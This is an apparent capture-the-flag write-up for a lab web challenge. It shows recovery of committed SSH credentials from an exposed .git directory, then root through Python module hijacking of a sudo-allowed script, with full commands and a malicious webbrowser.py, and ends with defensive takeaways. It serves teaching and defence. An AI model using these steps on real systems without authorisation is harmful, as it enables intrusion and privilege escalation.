Traversed - CTF Writeup
| Category: WEB | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Contents
Reconnaissance
Nmap scan reveals two open ports:
- 22 - SSH (OpenSSH 9.7)
- 80 - HTTP (nginx 1.27.1)
The web page is a generic “under construction” site. No robots.txt. Running ffuf or gobuster to discover hidden files:
ffuf -u http://TARGET/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -mc 200,301,302,403 -fs 533
This reveals a .git directory exposed on the web server:
| Path | Description |
|---|---|
/.git/HEAD |
ref: refs/heads/master |
/.git/config |
Repo config (author: Test) |
/.git/index |
Git index (2 tracked files) |
/.git/logs/HEAD |
Full commit history |
Exploitation
Step 1 - Recover Git History
The git log reveals that credentials were committed and then removed:
curl http://TARGET/.git/logs/HEAD
73e8c07 Added index.php
eba1551 Added credentials for the server maintanance
94ad98f redacted the password for security
da5d3b7 removed credentials file for safety
3087615 Modified source code for index.php
Use git-dumper to reconstruct the full repo locally:
git-dumper http://TARGET/.git/ /tmp/repo
cd /tmp/repo
git log --all --oneline
Step 2 - Extract Credentials
Recover the credentials file from the commit where it was added:
git show eba1551:credentials.txt
# hackerdna:Password@1
Step 3 - SSH Access
sshpass -p 'Password@1' ssh hackerdna@TARGET
cat /home/flag-user.txt
# 834f5827-e0fb-4d9b-b1d0-687dbea16a1f
Privilege Escalation
Sudo Enumeration
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /home/hackerdna/test.py
The allowed script test.py:
import webbrowser
webbrowser.open("https://google.com")
The file is owned by root and not writable, but the directory is writable by the user. Python’s import statement searches the script’s directory first, so we can hijack the webbrowser module.
Module Hijacking
Create a malicious webbrowser.py in the same directory:
cat > /home/hackerdna/webbrowser.py << 'EOF'
import os
def open(url):
os.system("cat /root/flag-root.txt > /home/hackerdna/root_flag.txt")
EOF
Run the script as root — it imports our fake module instead of the real one:
sudo /usr/bin/python3 /home/hackerdna/test.py
cat /home/hackerdna/root_flag.txt
# fce6a3ab-8bce-4f4d-9983-95025be84ad9
Root Flag: fce6a3ab-8bce-4f4d-9983-95025be84ad9
How the Attack Works
A publicly reachable .git directory leaks the entire development history of a web application. Because Git stores every commit, “removing” a file from the working tree does not remove it from the repository — the commit eba1551 that added credentials.txt still exists in the object database, and the commit 94ad98f that “redacted the password for security” only deleted it from a later snapshot. Tools like git-dumper reconstruct the full repo over HTTP, after which git log and git show <commit>:<file> recover any secret that was ever committed.
The privilege escalation abuses Python’s module search order. When sudo /usr/bin/python3 /home/hackerdna/test.py runs, the interpreter adds the directory of the script (/home/hackerdna) to the front of sys.path. The script does import webbrowser, and because the user can write files in that directory, placing a malicious webbrowser.py there shadows the real standard-library module. Sudo then executes the import as root, running our code at the highest privilege level.
Key Takeaways
.gitexposure is full source disclosure. Block directory listings and access to dot-prefixed paths in your web server config, and use tooling that flags exposed.git/.svn/.hgduring recon.- Deleting a committed secret does not erase it. Any credential that touches a Git history is compromised. Rotate it and rewrite history with
git filter-repoif it was ever pushed. - Writable script directories + sudo are a module-hijacking risk. Do not grant
sudoto interpreters running scripts from directories a user can write to.sys.pathinjection is a documented, reliable root primitive. sudo -lis the first step of every escalation. Always enumerate exactly which binaries and scripts can be run as root before looking for kernel exploits.